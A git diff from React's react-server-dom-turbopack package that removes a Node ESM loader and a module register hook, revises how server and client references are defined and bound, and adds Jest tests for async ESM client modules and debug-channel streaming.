-};
-
-type GetSourceFunction = (
-  string,
-  GetSourceContext,
-  GetSourceFunction,
-) => Promise<{source: Source}>;
-
-type TransformSourceContext = {
-  format: string,
-  url: string,
-};
-
-type TransformSourceFunction = (
-  Source,
-  TransformSourceContext,
-  TransformSourceFunction,
-) => Promise<{source: Source}>;
-
-type LoadContext = {
-  conditions: Array<string>,
-  format: string | null | void,
-  importAssertions: Object,
-};
-
-type LoadFunction = (
-  string,
-  LoadContext,
-  LoadFunction,
-) => Promise<{format: string, shortCircuit?: boolean, source: Source}>;
-
-type Source = string | ArrayBuffer | Uint8Array;
-
-let warnedAboutConditionsFlag = false;
-
-let stashedGetSource: null | GetSourceFunction = null;
-let stashedResolve: null | ResolveFunction = null;
-
-export async function resolve(
-  specifier: string,
-  context: ResolveContext,
-  defaultResolve: ResolveFunction,
-): Promise<{url: string}> {
-  // We stash this in case we end up needing to resolve export * statements later.
-  stashedResolve = defaultResolve;
-
-  if (!context.conditions.includes('react-server')) {
-    context = {
-      ...context,
-      conditions: [...context.conditions, 'react-server'],
-    };
-    if (!warnedAboutConditionsFlag) {
-      warnedAboutConditionsFlag = true;
-      // eslint-disable-next-line react-internal/no-production-logging
-      console.warn(
-        'You did not run Node.js with the `--conditions react-server` flag. ' +
-          'Any "react-server" override will only work with ESM imports.',
-      );
-    }
-  }
-  return await defaultResolve(specifier, context, defaultResolve);
-}
-
-export async function getSource(
-  url: string,
-  context: GetSourceContext,
-  defaultGetSource: GetSourceFunction,
-): Promise<{source: Source}> {
-  // We stash this in case we end up needing to resolve export * statements later.
-  stashedGetSource = defaultGetSource;
-  return defaultGetSource(url, context, defaultGetSource);
-}
-
-function addLocalExportedNames(names: Map<string, string>, node: any) {
-  switch (node.type) {
-    case 'Identifier':
-      names.set(node.name, node.name);
-      return;
-    case 'ObjectPattern':
-      for (let i = 0; i < node.properties.length; i++)
-        addLocalExportedNames(names, node.properties[i]);
-      return;
-    case 'ArrayPattern':
-      for (let i = 0; i < node.elements.length; i++) {
-        const element = node.elements[i];
-        if (element) addLocalExportedNames(names, element);
-      }
-      return;
-    case 'Property':
-      addLocalExportedNames(names, node.value);
-      return;
-    case 'AssignmentPattern':
-      addLocalExportedNames(names, node.left);
-      return;
-    case 'RestElement':
-      addLocalExportedNames(names, node.argument);
-      return;
-    case 'ParenthesizedExpression':
-      addLocalExportedNames(names, node.expression);
-      return;
-  }
-}
-
-function transformServerModule(
-  source: string,
-  body: any,
-  url: string,
-  loader: LoadFunction,
-): string {
-  // If the same local name is exported more than once, we only need one of the names.
-  const localNames: Map<string, string> = new Map();
-  const localTypes: Map<string, string> = new Map();
-
-  for (let i = 0; i < body.length; i++) {
-    const node = body[i];
-    switch (node.type) {
-      case 'ExportAllDeclaration':
-        // If export * is used, the other file needs to explicitly opt into "use server" too.
-        break;
-      case 'ExportDefaultDeclaration':
-        if (node.declaration.type === 'Identifier') {
-          localNames.set(node.declaration.name, 'default');
-        } else if (node.declaration.type === 'FunctionDeclaration') {
-          if (node.declaration.id) {
-            localNames.set(node.declaration.id.name, 'default');
-            localTypes.set(node.declaration.id.name, 'function');
-          } else {
-            // TODO: This needs to be rewritten inline because it doesn't have a local name.
-          }
-        }
-        continue;
-      case 'ExportNamedDeclaration':
-        if (node.declaration) {
-          if (node.declaration.type === 'VariableDeclaration') {
-            const declarations = node.declaration.declarations;
-            for (let j = 0; j < declarations.length; j++) {
-              addLocalExportedNames(localNames, declarations[j].id);
-            }
-          } else {
-            const name = node.declaration.id.name;
-            localNames.set(name, name);
-            if (node.declaration.type === 'FunctionDeclaration') {
-              localTypes.set(name, 'function');
-            }
-          }
-        }
-        if (node.specifiers) {
-          const specifiers = node.specifiers;
-          for (let j = 0; j < specifiers.length; j++) {
-            const specifier = specifiers[j];
-            localNames.set(specifier.local.name, specifier.exported.name);
-          }
-        }
-        continue;
-    }
-  }
-  if (localNames.size === 0) {
-    return source;
-  }
-  let newSrc = source + '\n\n;';
-  newSrc +=
-    'import {registerServerReference} from "react-server-dom-turbopack/server";\n';
-  localNames.forEach(function (exported, local) {
-    if (localTypes.get(local) !== 'function') {
-      // We first check if the export is a function and if so annotate it.
-      newSrc += 'if (typeof ' + local + ' === "function") ';
-    }
-    newSrc += 'registerServerReference(' + local + ',';
-    newSrc += JSON.stringify(url) + ',';
-    newSrc += JSON.stringify(exported) + ');\n';
-  });
-  return newSrc;
-}
-
-function addExportNames(names: Array<string>, node: any) {
-  switch (node.type) {
-    case 'Identifier':
-      names.push(node.name);
-      return;
-    case 'ObjectPattern':
-      for (let i = 0; i < node.properties.length; i++)
-        addExportNames(names, node.properties[i]);
-      return;
-    case 'ArrayPattern':
-      for (let i = 0; i < node.elements.length; i++) {
-        const element = node.elements[i];
-        if (element) addExportNames(names, element);
-      }
-      return;
-    case 'Property':
-      addExportNames(names, node.value);
-      return;
-    case 'AssignmentPattern':
-      addExportNames(names, node.left);
-      return;
-    case 'RestElement':
-      addExportNames(names, node.argument);
-      return;
-    case 'ParenthesizedExpression':
-      addExportNames(names, node.expression);
-      return;
-  }
-}
-
-function resolveClientImport(
-  specifier: string,
-  parentURL: string,
-): {url: string} | Promise<{url: string}> {
-  // Resolve an import specifier as if it was loaded by the client. This doesn't use
-  // the overrides that this loader does but instead reverts to the default.
-  // This resolution algorithm will not necessarily have the same configuration
-  // as the actual client loader. It should mostly work and if it doesn't you can
-  // always convert to explicit exported names instead.
-  const conditions = ['node', 'import'];
-  if (stashedResolve === null) {
-    throw new Error(
-      'Expected resolve to have been called before transformSource',
-    );
-  }
-  return stashedResolve(specifier, {conditions, parentURL}, stashedResolve);
-}
-
-async function parseExportNamesInto(
-  body: any,
-  names: Array<string>,
-  parentURL: string,
-  loader: LoadFunction,
-): Promise<void> {
-  for (let i = 0; i < body.length; i++) {
-    const node = body[i];
-    switch (node.type) {
-      case 'ExportAllDeclaration':
-        if (node.exported) {
-          addExportNames(names, node.exported);
-          continue;
-        } else {
-          const {url} = await resolveClientImport(node.source.value, parentURL);
-          const {source} = await loader(
-            url,
-            {format: 'module', conditions: [], importAssertions: {}},
-            loader,
-          );
-          if (typeof source !== 'string') {
-            throw new Error('Expected the transformed source to be a string.');
-          }
-          let childBody;
-          try {
-            childBody = acorn.parse(source, {
-              ecmaVersion: '2024',
-              sourceType: 'module',
-            }).body;
-          } catch (x) {
-            // eslint-disable-next-line react-internal/no-production-logging
-            console.error('Error parsing %s %s', url, x.message);
-            continue;
-          }
-          await parseExportNamesInto(childBody, names, url, loader);
-          continue;
-        }
-      case 'ExportDefaultDeclaration':
-        names.push('default');
-        continue;
-      case 'ExportNamedDeclaration':
-        if (node.declaration) {
-          if (node.declaration.type === 'VariableDeclaration') {
-            const declarations = node.declaration.declarations;
-            for (let j = 0; j < declarations.length; j++) {
-              addExportNames(names, declarations[j].id);
-            }
-          } else {
-            addExportNames(names, node.declaration.id);
-          }
-        }
-        if (node.specifiers) {
-          const specifiers = node.specifiers;
-          for (let j = 0; j < specifiers.length; j++) {
-            addExportNames(names, specifiers[j].exported);
-          }
-        }
-        continue;
-    }
-  }
-}
-
-async function transformClientModule(
-  body: any,
-  url: string,
-  loader: LoadFunction,
-): Promise<string> {
-  const names: Array<string> = [];
-
-  await parseExportNamesInto(body, names, url, loader);
-
-  if (names.length === 0) {
-    return '';
-  }
-
-  let newSrc =
-    'import {registerClientReference} from "react-server-dom-turbopack/server";\n';
-  for (let i = 0; i < names.length; i++) {
-    const name = names[i];
-    if (name === 'default') {
-      newSrc += 'export default ';
-      newSrc += 'registerClientReference(function() {';
-      newSrc +=
-        'throw new Error(' +
-        JSON.stringify(
-          `Attempted to call the default export of ${url} from the server` +
-            `but it's on the client. It's not possible to invoke a client function from ` +
-            `the server, it can only be rendered as a Component or passed to props of a` +
-            `Client Component.`,
-        ) +
-        ');';
-    } else {
-      newSrc += 'export const ' + name + ' = ';
-      newSrc += 'registerClientReference(function() {';
-      newSrc +=
-        'throw new Error(' +
-        JSON.stringify(
-          `Attempted to call ${name}() from the server but ${name} is on the client. ` +
-            `It's not possible to invoke a client function from the server, it can ` +
-            `only be rendered as a Component or passed to props of a Client Component.`,
-        ) +
-        ');';
-    }
-    newSrc += '},';
-    newSrc += JSON.stringify(url) + ',';
-    newSrc += JSON.stringify(name) + ');\n';
-  }
-  return newSrc;
-}
-
-async function loadClientImport(
-  url: string,
-  defaultTransformSource: TransformSourceFunction,
-): Promise<{format: string, shortCircuit?: boolean, source: Source}> {
-  if (stashedGetSource === null) {
-    throw new Error(
-      'Expected getSource to have been called before transformSource',
-    );
-  }
-  // TODO: Validate that this is another module by calling getFormat.
-  const {source} = await stashedGetSource(
-    url,
-    {format: 'module'},
-    stashedGetSource,
-  );
-  const result = await defaultTransformSource(
-    source,
-    {format: 'module', url},
-    defaultTransformSource,
-  );
-  return {format: 'module', source: result.source};
-}
-
-async function transformModuleIfNeeded(
-  source: string,
-  url: string,
-  loader: LoadFunction,
-): Promise<string> {
-  // Do a quick check for the exact string. If it doesn't exist, don't
-  // bother parsing.
-  if (
-    source.indexOf('use client') === -1 &&
-    source.indexOf('use server') === -1
-  ) {
-    return source;
-  }
-
-  let body;
-  try {
-    body = acorn.parse(source, {
-      ecmaVersion: '2024',
-      sourceType: 'module',
-    }).body;
-  } catch (x) {
-    // eslint-disable-next-line react-internal/no-production-logging
-    console.error('Error parsing %s %s', url, x.message);
-    return source;
-  }
-
-  let useClient = false;
-  let useServer = false;
-  for (let i = 0; i < body.length; i++) {
-    const node = body[i];
-    if (node.type !== 'ExpressionStatement' || !node.directive) {
-      break;
-    }
-    if (node.directive === 'use client') {
-      useClient = true;
-    }
-    if (node.directive === 'use server') {
-      useServer = true;
-    }
-  }
-
-  if (!useClient && !useServer) {
-    return source;
-  }
-
-  if (useClient && useServer) {
-    throw new Error(
-      'Cannot have both "use client" and "use server" directives in the same file.',
-    );
-  }
-
-  if (useClient) {
-    return transformClientModule(body, url, loader);
-  }
-
-  return transformServerModule(source, body, url, loader);
-}
-
-export async function transformSource(
-  source: Source,
-  context: TransformSourceContext,
-  defaultTransformSource: TransformSourceFunction,
-): Promise<{source: Source}> {
-  const transformed = await defaultTransformSource(
-    source,
-    context,
-    defaultTransformSource,
-  );
-  if (context.format === 'module') {
-    const transformedSource = transformed.source;
-    if (typeof transformedSource !== 'string') {
-      throw new Error('Expected source to have been transformed to a string.');
-    }
-    const newSrc = await transformModuleIfNeeded(
-      transformedSource,
-      context.url,
-      (url: string, ctx: LoadContext, defaultLoad: LoadFunction) => {
-        return loadClientImport(url, defaultTransformSource);
-      },
-    );
-    return {source: newSrc};
-  }
-  return transformed;
-}
-
-export async function load(
-  url: string,
-  context: LoadContext,
-  defaultLoad: LoadFunction,
-): Promise<{format: string, shortCircuit?: boolean, source: Source}> {
-  const result = await defaultLoad(url, context, defaultLoad);
-  if (result.format === 'module') {
-    if (typeof result.source !== 'string') {
-      throw new Error('Expected source to have been loaded into a string.');
-    }
-    const newSrc = await transformModuleIfNeeded(
-      result.source,
-      url,
-      defaultLoad,
-    );
-    return {format: 'module', source: newSrc};
-  }
-  return result;
-}
diff --git a/packages/react-server-dom-turbopack/src/ReactFlightTurbopackNodeRegister.js b/packages/react-server-dom-turbopack/src/ReactFlightTurbopackNodeRegister.js
deleted file mode 100644
index d8056ffa9a03..000000000000
--- a/packages/react-server-dom-turbopack/src/ReactFlightTurbopackNodeRegister.js
+++ /dev/null
@@ -1,110 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-const acorn = require('acorn-loose');
-
-const url = require('url');
-
-const Module = require('module');
-
-module.exports = function register() {
-  const Server: any = require('react-server-dom-turbopack/server');
-  const registerServerReference = Server.registerServerReference;
-  const createClientModuleProxy = Server.createClientModuleProxy;
-
-  // $FlowFixMe[prop-missing] found when upgrading Flow
-  const originalCompile = Module.prototype._compile;
-
-  // $FlowFixMe[prop-missing] found when upgrading Flow
-  Module.prototype._compile = function (
-    this: any,
-    content: string,
-    filename: string,
-  ): void {
-    // Do a quick check for the exact string. If it doesn't exist, don't
-    // bother parsing.
-    if (
-      content.indexOf('use client') === -1 &&
-      content.indexOf('use server') === -1
-    ) {
-      return originalCompile.apply(this, arguments);
-    }
-
-    let body;
-    try {
-      body = acorn.parse(content, {
-        ecmaVersion: '2024',
-        sourceType: 'source',
-      }).body;
-    } catch (x) {
-      // eslint-disable-next-line react-internal/no-production-logging
-      console['error']('Error parsing %s %s', url, x.message);
-      return originalCompile.apply(this, arguments);
-    }
-
-    let useClient = false;
-    let useServer = false;
-    for (let i = 0; i < body.length; i++) {
-      const node = body[i];
-      if (node.type !== 'ExpressionStatement' || !node.directive) {
-        break;
-      }
-      if (node.directive === 'use client') {
-        useClient = true;
-      }
-      if (node.directive === 'use server') {
-        useServer = true;
-      }
-    }
-
-    if (!useClient && !useServer) {
-      return originalCompile.apply(this, arguments);
-    }
-
-    if (useClient && useServer) {
-      throw new Error(
-        'Cannot have both "use client" and "use server" directives in the same file.',
-      );
-    }
-
-    if (useClient) {
-      const moduleId: string = (url.pathToFileURL(filename).href: any);
-      this.exports = createClientModuleProxy(moduleId);
-    }
-
-    if (useServer) {
-      originalCompile.apply(this, arguments);
-
-      const moduleId: string = (url.pathToFileURL(filename).href: any);
-
-      const exports = this.exports;
-
-      // This module is imported server to server, but opts in to exposing functions by
-      // reference. If there are any functions in the export.
-      if (typeof exports === 'function') {
-        // The module exports a function directly,
-        registerServerReference(
-          (exports: any),
-          moduleId,
-          // Represents the whole Module object instead of a particular import.
-          null,
-        );
-      } else {
-        const keys = Object.keys(exports);
-        for (let i = 0; i < keys.length; i++) {
-          const key = keys[i];
-          const value = exports[keys[i]];
-          if (typeof value === 'function') {
-            registerServerReference((value: any), moduleId, key);
-          }
-        }
-      }
-    }
-  };
-};
diff --git a/packages/react-server-dom-turbopack/src/ReactFlightTurbopackReferences.js b/packages/react-server-dom-turbopack/src/ReactFlightTurbopackReferences.js
index 26ee500ce502..50f83d31d8b1 100644
--- a/packages/react-server-dom-turbopack/src/ReactFlightTurbopackReferences.js
+++ b/packages/react-server-dom-turbopack/src/ReactFlightTurbopackReferences.js
@@ -13,6 +13,7 @@ export type ServerReference<T: Function> = T & {
   $$typeof: symbol,
   $$id: string,
   $$bound: null | Array<ReactClientValue>,
+  $$location?: Error,
 };
 
 // eslint-disable-next-line no-unused-vars
@@ -62,39 +63,89 @@ const FunctionBind = Function.prototype.bind;
 // $FlowFixMe[method-unbinding]
 const ArraySlice = Array.prototype.slice;
 function bind(this: ServerReference<any>): any {
-  // $FlowFixMe[unsupported-syntax]
+  // $FlowFixMe[incompatible-call]
   const newFn = FunctionBind.apply(this, arguments);
   if (this.$$typeof === SERVER_REFERENCE_TAG) {
+    if (__DEV__) {
+      const thisBind = arguments[0];
+      if (thisBind != null) {
+        console.error(
+          'Cannot bind "this" of a Server Action. Pass null or undefined as the first argument to .bind().',
+        );
+      }
+    }
     const args = ArraySlice.call(arguments, 1);
-    return Object.defineProperties((newFn: any), {
-      $$typeof: {value: SERVER_REFERENCE_TAG},
-      $$id: {value: this.$$id},
-      $$bound: {value: this.$$bound ? this.$$bound.concat(args) : args},
-      bind: {value: bind},
-    });
+    const $$typeof = {value: SERVER_REFERENCE_TAG};
+    const $$id = {value: this.$$id};
+    const $$bound = {value: this.$$bound ? this.$$bound.concat(args) : args};
+    return Object.defineProperties(
+      (newFn: any),
+      (__DEV__
+        ? {
+            $$typeof,
+            $$id,
+            $$bound,
+            $$location: {
+              value: this.$$location,
+              configurable: true,
+            },
+            bind: {value: bind, configurable: true},
+          }
+        : {
+            $$typeof,
+            $$id,
+            $$bound,
+            bind: {value: bind, configurable: true},
+          }) as PropertyDescriptorMap,
+    );
   }
   return newFn;
 }
 
+const serverReferenceToString = {
+  value: () => 'function () { [omitted code] }',
+  configurable: true,
+  writable: true,
+};
+
 export function registerServerReference<T: Function>(
   reference: T,
   id: string,
   exportName: null | string,
 ): ServerReference<T> {
-  return Object.defineProperties((reference: any), {
-    $$typeof: {value: SERVER_REFERENCE_TAG},
-    $$id: {
-      value: exportName === null ? id : id + '#' + exportName,
-      configurable: true,
-    },
-    $$bound: {value: null, configurable: true},
-    bind: {value: bind, configurable: true},
-  });
+  const $$typeof = {value: SERVER_REFERENCE_TAG};
+  const $$id = {
+    value: exportName === null ? id : id + '#' + exportName,
+    configurable: true,
+  };
+  const $$bound = {value: null, configurable: true};
+  return Object.defineProperties(
+    (reference: any),
+    (__DEV__
+      ? {
+          $$typeof,
+          $$id,
+          $$bound,
+          $$location: {
+            value: Error('react-stack-top-frame'),
+            configurable: true,
+          },
+          bind: {value: bind, configurable: true},
+          toString: serverReferenceToString,
+        }
+      : {
+          $$typeof,
+          $$id,
+          $$bound,
+          bind: {value: bind, configurable: true},
+          toString: serverReferenceToString,
+        }) as PropertyDescriptorMap,
+  );
 }
 
 const PROMISE_PROTOTYPE = Promise.prototype;
 
-const deepProxyHandlers = {
+const deepProxyHandlers: Proxy$traps<mixed> = {
   get: function (
     target: Function,
     name: string | symbol,
@@ -118,6 +169,9 @@ const deepProxyHandlers = {
       // reference.
       case 'defaultProps':
         return undefined;
+      // React looks for debugInfo on thenables.
+      case '_debugInfo':
+        return undefined;
       // Avoid this attempting to be serialized.
       case 'toJSON':
         return undefined;
@@ -128,10 +182,14 @@ const deepProxyHandlers = {
         // $FlowFixMe[prop-missing]
         return Object.prototype[Symbol.toStringTag];
       case 'Provider':
+        // Context.Provider === Context in React, so return the same reference.
+        // This allows server components to render <ClientContext.Provider>
+        // which will be serialized and executed on the client.
+        return receiver;
+      case 'then':
         throw new Error(
-          `Cannot render a Client Context Provider on the Server. ` +
-            `Instead, you can export a Client Component wrapper ` +
-            `that itself renders a Client Context Provider.`,
+          `Cannot await or return from a thenable. ` +
+            `You cannot await a client module from a server component.`,
         );
     }
     // eslint-disable-next-line react-internal/safe-string-coercion
@@ -162,6 +220,9 @@ function getReference(target: Function, name: string | symbol): $FlowFixMe {
     // reference.
     case 'defaultProps':
       return undefined;
+    // React looks for debugInfo on thenables.
+    case '_debugInfo':
+      return undefined;
     // Avoid this attempting to be serialized.
     case 'toJSON':
       return undefined;
diff --git a/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOM-test.js b/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOM-test.js
index eef2e824543e..bd16976bb649 100644
--- a/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOM-test.js
+++ b/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOM-test.js
@@ -18,8 +18,10 @@ global.TextEncoder = require('util').TextEncoder;
 global.TextDecoder = require('util').TextDecoder;
 
 let act;
+let serverAct;
 let use;
 let clientExports;
+let clientExportsESM;
 let turbopackMap;
 let Stream;
 let React;
@@ -27,28 +29,27 @@ let ReactDOMClient;
 let ReactServerDOMServer;
 let ReactServerDOMClient;
 let Suspense;
-let ReactServerScheduler;
-let reactServerAct;
+let ErrorBoundary;
 
-describe('ReactFlightDOM', () => {
+describe('ReactFlightTurbopackDOM', () => {
   beforeEach(() => {
     // For this first reset we are going to load the dom-node version of react-server-dom-turbopack/server
     // This can be thought of as essentially being the React Server Components scope with react-server
     // condition
     jest.resetModules();
 
-    ReactServerScheduler = require('scheduler');
-    patchSetImmediate(ReactServerScheduler);
-    reactServerAct = require('internal-test-utils').act;
+    patchSetImmediate();
+    serverAct = require('internal-test-utils').serverAct;
 
     // Simulate the condition resolution
     jest.mock('react-server-dom-turbopack/server', () =>
-      require('react-server-dom-turbopack/server.node.unbundled'),
+      require('react-server-dom-turbopack/server.node'),
     );
     jest.mock('react', () => require('react/react.react-server'));
 
     const TurbopackMock = require('./utils/TurbopackMock');
     clientExports = TurbopackMock.clientExports;
+    clientExportsESM = TurbopackMock.clientExportsESM;
     turbopackMap = TurbopackMock.turbopackMap;
 
     ReactServerDOMServer = require('react-server-dom-turbopack/server');
@@ -63,18 +64,23 @@ describe('ReactFlightDOM', () => {
     Suspense = React.Suspense;
     ReactDOMClient = require('react-dom/client');
     ReactServerDOMClient = require('react-server-dom-turbopack/client');
-  });
 
-  async function serverAct(callback) {
-    let maybePromise;
-    await reactServerAct(() => {
-      maybePromise = callback();
-      if (maybePromise && typeof maybePromise.catch === 'function') {
-        maybePromise.catch(() => {});
+    ErrorBoundary = class extends React.Component {
+      state = {hasError: false, error: null};
+      static getDerivedStateFromError(error) {
+        return {
+          hasError: true,
+          error,
+        };
       }
-    });
-    return maybePromise;
-  }
+      render() {
+        if (this.state.hasError) {
+          return this.props.fallback(this.state.error);
+        }
+        return this.props.children;
+      }
+    };
+  });
 
   function getTestStream() {
     const writable = new Stream.PassThrough();
@@ -220,4 +226,105 @@ describe('ReactFlightDOM', () => {
     });
     expect(container.innerHTML).toBe('<p>Async: Module</p>');
   });
+
+  it('should unwrap async ESM module references', async () => {
+    const AsyncModule = Promise.resolve(function AsyncModule({text}) {
+      return 'Async: ' + text;
+    });
+
+    const AsyncModule2 = Promise.resolve({
+      exportName: 'Module',
+    });
+
+    function Print({response}) {
+      return <p>{use(response)}</p>;
+    }
+
+    function App({response}) {
+      return (
+        <Suspense fallback={<h1>Loading...</h1>}>
+          <Print response={response} />
+        </Suspense>
+      );
+    }
+
+    const AsyncModuleRef = await clientExportsESM(AsyncModule);
+    const AsyncModuleRef2 = await clientExportsESM(AsyncModule2);
+
+    const {writable, readable} = getTestStream();
+    const {pipe} = await serverAct(() =>
+      ReactServerDOMServer.renderToPipeableStream(
+        <AsyncModuleRef text={AsyncModuleRef2.exportName} />,
+        turbopackMap,
+      ),
+    );
+    pipe(writable);
+    const response = ReactServerDOMClient.createFromReadableStream(readable);
+
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => {
+      root.render(<App response={response} />);
+    });
+    expect(container.innerHTML).toBe('<p>Async: Module</p>');
+  });
+
+  it('should error when a bundler uses async ESM modules with createClientModuleProxy', async () => {
+    const AsyncModule = Promise.resolve(function AsyncModule() {
+      return 'This should not be rendered';
+    });
+
+    function Print({response}) {
+      return <p>{use(response)}</p>;
+    }
+
+    function App({response}) {
+      return (
+        <ErrorBoundary
+          fallback={error => (
+            <p>
+              {__DEV__ ? error.message + ' + ' : null}
+              {error.digest}
+            </p>
+          )}>
+          <Suspense fallback={<h1>Loading...</h1>}>
+            <Print response={response} />
+          </Suspense>
+        </ErrorBoundary>
+      );
+    }
+
+    const AsyncModuleRef = await clientExportsESM(AsyncModule, {
+      forceClientModuleProxy: true,
+    });
+
+    const {writable, readable} = getTestStream();
+    const {pipe} = await serverAct(() =>
+      ReactServerDOMServer.renderToPipeableStream(
+        <AsyncModuleRef />,
+        turbopackMap,
+        {
+          onError(error) {
+            return __DEV__ ? 'a dev digest' : `digest(${error.message})`;
+          },
+        },
+      ),
+    );
+    pipe(writable);
+    const response = ReactServerDOMClient.createFromReadableStream(readable);
+
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+    await act(() => {
+      root.render(<App response={response} />);
+    });
+
+    const errorMessage = `The module "${Object.keys(turbopackMap).at(0)}" is marked as an async ESM module but was loaded as a CJS proxy. This is probably a bug in the React Server Components bundler.`;
+
+    expect(container.innerHTML).toBe(
+      __DEV__
+        ? `<p>${errorMessage} + a dev digest</p>`
+        : `<p>digest(${errorMessage})</p>`,
+    );
+  });
 });
diff --git a/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMBrowser-test.js b/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMBrowser-test.js
index a47cca706880..d9061d8e4423 100644
--- a/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMBrowser-test.js
+++ b/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMBrowser-test.js
@@ -14,47 +14,81 @@ import {patchMessageChannel} from '../../../../scripts/jest/patchMessageChannel'
 // Polyfills for test environment
 global.ReadableStream =
   require('web-streams-polyfill/ponyfill/es6').ReadableStream;
+global.WritableStream =
+  require('web-streams-polyfill/ponyfill/es6').WritableStream;
 global.TextEncoder = require('util').TextEncoder;
 global.TextDecoder = require('util').TextDecoder;
 
+let clientExports;
 let React;
+let ReactDOMClient;
 let ReactServerDOMServer;
 let ReactServerDOMClient;
+let ReactServer;
 let ReactServerScheduler;
-let reactServerAct;
+let act;
+let serverAct;
+let turbopackMap;
+let use;
 
-describe('ReactFlightDOMBrowser', () => {
+describe('ReactFlightTurbopackDOMBrowser', () => {
   beforeEach(() => {
     jest.resetModules();
 
     ReactServerScheduler = require('scheduler');
     patchMessageChannel(ReactServerScheduler);
-    reactServerAct = require('internal-test-utils').act;
+    serverAct = require('internal-test-utils').serverAct;
 
     // Simulate the condition resolution
     jest.mock('react', () => require('react/react.react-server'));
+    ReactServer = require('react');
+
     jest.mock('react-server-dom-turbopack/server', () =>
       require('react-server-dom-turbopack/server.browser'),
     );
+    const TurbopackMock = require('./utils/TurbopackMock');
+    clientExports = TurbopackMock.clientExports;
+    turbopackMap = TurbopackMock.turbopackMap;
 
     ReactServerDOMServer = require('react-server-dom-turbopack/server.browser');
 
     __unmockReact();
     jest.resetModules();
 
+    ({act} = require('internal-test-utils'));
     React = require('react');
+    ReactDOMClient = require('react-dom/client');
     ReactServerDOMClient = require('react-server-dom-turbopack/client');
+    use = React.use;
   });
 
-  async function serverAct(callback) {
-    let maybePromise;
-    await reactServerAct(() => {
-      maybePromise = callback();
-      if (maybePromise && typeof maybePromise.catch === 'function') {
-        maybePromise.catch(() => {});
-      }
+  function createDelayedStream(
+    stream: ReadableStream<Uint8Array>,
+  ): ReadableStream<Uint8Array> {
+    return new ReadableStream({
+      async start(controller) {
+        const reader = stream.getReader();
+        while (true) {
+          const {done, value} = await reader.read();
+          if (done) {
+            controller.close();
+          } else {
+            // Artificially delay between enqueuing chunks.
+            await new Promise(resolve => setTimeout(resolve));
+            controller.enqueue(value);
+          }
+        }
+      },
     });
-    return maybePromise;
+  }
+
+  function normalizeCodeLocInfo(str) {
+    return (
+      str &&
+      str.replace(/^ +(?:at|in) ([\S]+)[^\n]*/gm, function (m, name) {
+        return '    in ' + name + (/\d/.test(m) ? ' (at **)' : '');
+      })
+    );
   }
 
   it('should resolve HTML using W3C streams', async () => {
@@ -91,4 +125,126 @@ describe('ReactFlightDOMBrowser', () => {
       ),
     });
   });
+
+  it('does not close the response early when using a fast debug channel', async () => {
+    function Component() {
+      return <div>Hi</div>;
+    }
+
+    let debugReadableStreamController;
+
+    const debugReadableStream = new ReadableStream({
+      start(controller) {
+        debugReadableStreamController = controller;
+      },
+    });
+
+    const rscStream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(<Component />, turbopackMap, {
+        debugChannel: {
+          writable: new WritableStream({
+            write(chunk) {
+              debugReadableStreamController.enqueue(chunk);
+            },
+            close() {
+              debugReadableStreamController.close();
+            },
+          }),
+        },
+      }),
+    );
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const response = ReactServerDOMClient.createFromReadableStream(
+      // Create a delayed stream to simulate that the RSC stream might be
+      // transported slower than the debug channel, which must not lead to a
+      // `Connection closed` error in the Flight client.
+      createDelayedStream(rscStream),
+      {
+        debugChannel: {readable: debugReadableStream},
+      },
+    );
+
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+
+    await act(() => {
+      root.render(<ClientRoot response={response} />);
+    });
+
+    expect(container.innerHTML).toBe('<div>Hi</div>');
+  });
+
+  it('can transport debug info through a dedicated debug channel', async () => {
+    let ownerStack;
+
+    const ClientComponent = clientExports(() => {
+      ownerStack = React.captureOwnerStack ? React.captureOwnerStack() : null;
+      return <p>Hi</p>;
+    });
+
+    function App() {
+      return ReactServer.createElement(
+        ReactServer.Suspense,
+        null,
+        ReactServer.createElement(ClientComponent, null),
+      );
+    }
+
+    let debugReadableStreamController;
+
+    const debugReadableStream = new ReadableStream({
+      start(controller) {
+        debugReadableStreamController = controller;
+      },
+    });
+
+    const rscStream = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(
+        ReactServer.createElement(App, null),
+        turbopackMap,
+        {
+          debugChannel: {
+            writable: new WritableStream({
+              write(chunk) {
+                debugReadableStreamController.enqueue(chunk);
+              },
+              close() {
+                debugReadableStreamController.close();
+              },
+            }),
+          },
+        },
+      ),
+    );
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {
+      replayConsoleLogs: true,
+      debugChannel: {
+        readable: debugReadableStream,
+        // Explicitly not defining a writable side here. Its presence was
+        // previously used as a condition to wait for referenced debug chunks.
+      },
+    });
+
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+
+    await act(() => {
+      root.render(<ClientRoot response={response} />);
+    });
+
+    if (__DEV__) {
+      expect(normalizeCodeLocInfo(ownerStack)).toBe('\n    in App (at **)');
+    }
+
+    expect(container.innerHTML).toBe('<p>Hi</p>');
+  });
 });
diff --git a/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMEdge-test.js b/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMEdge-test.js
index 67d25c967f47..0bd60cb5e4c4 100644
--- a/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMEdge-test.js
+++ b/packages/react-server-dom-turbopack/src/__tests__/ReactFlightTurbopackDOMEdge-test.js
@@ -5,33 +5,28 @@
  * LICENSE file in the root directory of this source tree.
  *
  * @emails react-core
+ * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment
  */
 
